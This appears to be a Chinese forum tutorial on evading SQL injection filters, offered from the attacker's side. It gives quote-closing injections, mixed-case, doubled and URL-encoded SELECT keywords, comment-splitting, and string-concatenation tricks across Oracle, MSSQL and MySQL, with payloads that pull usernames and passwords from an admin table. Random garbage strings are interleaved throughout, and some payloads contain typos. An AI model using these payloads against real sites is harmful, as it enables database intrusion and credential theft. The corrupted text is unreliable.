SQL注入。有攻有防。知道进攻。才懂得防守.
" N. \( w3 Q5 w$ k. `$ y/ I5 C3 N
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
" ]1 Z3 R$ q" ^5 u6 \/ I$ A
. b5 i- f4 g3 l2 N) C) J唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
, X- e! f3 ^: ]/ o
6 v4 D" C: x" |5 F: V我们通常有以下几种技巧,去避开这些过滤。- v- P' w$ y) [' o, J: n
% e7 @# I* p; Z# l' L+ v
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。+ R/ P' @( z/ r; ]
/ O1 R% `' }, ?" p# s5 Q! tA,如果注入一个数字数据字段,就不需要使用单引号。2 x" I: ]& a' U- B$ ? z
% I! _8 P* E6 `. I- r1 c4 h3 G, q# DB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
! ~% P6 E7 S: ?
4 h) i& W# b/ b. q比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a/ S+ L" d( ]& Y F& w6 N3 C
/ f1 ]3 K! o! B9 o3 v! U目的其实很简单,就是把后面的单引号给闭合掉。
5 Q* B) X9 A- g- i! J. v8 r5 q p6 [$ l$ s6 d
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
( o5 T" _7 r+ X9 P6 O9 k: U) U3 f/ a7 G5 ~
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。) F. G5 ~5 x9 z# y i& d( }
1 E2 g1 J- ^8 V4 x2,避免使用简单确认
- `8 m' e& r9 I, @4 y" V7 S7 Z1 j# R7 H2 e2 [' [1 f# n% o
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
2 k+ _; C/ D* d7 \$ B8 M1 p% P. h2 a
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
! U( a; R8 @- z1 [ ^
! m4 h, N; h2 ^' L+ A: FA,如果select关键词被阻止或删除
: `: E1 y! ~" ?8 \, K, b1 `0 B: {0 y6 c5 k( x
我们可以输入:
3 @- r8 C7 L8 Z/ ^) Q+ S: A: p0 ~/ ^$ ?: w u
SeLeCt 注意大小写- K& Z; ?( t3 G) n4 R1 q+ h
w" p f7 R) e7 b4 R& D1 d: `7 E
selselectect 还记得ewebeditor是怎么过滤asp的么?) _& g' M/ i" [' H( I
% N' }9 V: z8 ^
%53%45%4c%45%43%54 URL编码
0 m. m5 ` N- h6 z6 o
6 b/ ~- l# J( J9 I' k' g( S0 B%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25
1 s. Y: }' A) d4 ?6 _
% b# C9 T: w' v6 O9 [7 I# \3,使用SQL注释符
* g' j( ~ i7 G1 m/ i9 f0 A* p: T2 X; r- f
A,使用注释来冒充注入的数据中的空格。
) Q# c+ m5 x. [* ~% v# {7 d6 }; n% Z- [
select/*yesu*/username,password/*yesu*/from/*yesu*/admin
& j0 t2 R# v. @4 |1 y9 M1 e* b {1 X3 m* e; ?+ ~, W5 [+ s
/*yesu*/来冒充空格5 {# J4 x% [9 {" c5 _& i
) L( Z; ]7 d% Z8 vB,使用注释来避开某些注入的确认过滤。
# X2 w( |5 C" h$ X: ~8 \% l9 u6 ?. {8 E( u* V, Y
SEL/*yesu*/ECT username,password fr/*yesu*/om admin
* ]' y. N2 ~6 S4 h1 \, c* c* R9 W/ [( _4 g1 h. j
4,处理被阻止的字符串+ D/ q/ w5 ^' R/ |9 p/ a
9 N# i& j' y& _ r3 ]比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
, F; q# H/ w, s+ p& M$ |4 B2 Q L9 a
/ }' z! e5 F( f& {2 B: U我们可以这样
5 z9 u! w% i4 m* ]) s# x% q- a- F
9 Z% X6 R, y$ _' p: s& BA,oracle数据库: ‘adm’||’in’+ f; x* z" h5 e* i/ X
0 c0 G% `+ | R6 k1 IB,MSSQL数据库: ‘adm’+’in’1 d9 M! X- W, s5 }
- h) ]/ O. D9 H! T7 W0 |8 Z3 U3 EC,MYSQL数据库: concat (‘adm’,’in’)
( \) d# l# W$ m/ n7 @6 i% Y$ ?. }/ g" {6 L
D,oracle中如果单引号被阻止了,还可以用chr函数" [/ X; }3 L8 X, l8 g
0 M Y. G, g, y
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
. c9 P2 p0 z/ {9 \1 b& c" s; Q
3 C# U. M8 k2 g$ a4 f* p I还有其他方法。正在收集中.
( e- ]# g) g8 A4 @
1 x9 ?6 m0 J) |5 t, ?+ Q6 L |